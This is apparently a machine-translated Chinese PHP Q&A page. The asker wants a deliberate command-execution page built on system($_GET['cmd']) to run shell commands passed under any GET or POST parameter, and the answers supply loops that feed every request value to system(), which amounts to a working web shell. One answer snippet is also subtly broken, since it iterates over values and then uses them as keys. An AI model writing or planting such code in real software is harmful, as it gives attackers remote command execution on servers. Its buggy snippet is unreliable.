php - 通过任何参数和任何方法获取值

时间:2017-02-16 16:24:12

标签: php parameters execution

我试图制作一个简单的页面命令执行漏洞......这是我的代码:

system($_GET['cmd']);

工作正常,如下:http://example/index.php?cmd=ls

问题是我想让这个小代码与任何参数和任何方法(GET或POST)一起使用

例如,如果使用任何参数,那么它仍将通过系统方法,即:"?hello = ls"。 (我不知道他们在哪里使用hello作为关键。任何想法?

2 个答案:

答案 0 :(得分:0)

您可以将每个索引键存储在一个数组中,然后循环设置值。

$keys = ['cmd', 'hello', 'etc..']; // jus add your params

// GET params
foreach($keys as $_key) {
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
        system($_GET[$_key]);
    }
}

// POST params
foreach($keys as $_key) {
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
        system($_POST[$_key]);
    }
}

如果您不想知道POST / GET的密钥,那么:

foreach($_GET as $key) {
    system($_GET[$key]);
}

foreach($_POST as $key) {
    system($_POST[$key]);
}

答案 1 :(得分:0)

您可以尝试使用: file_get_contents('php://input');获取RAW输入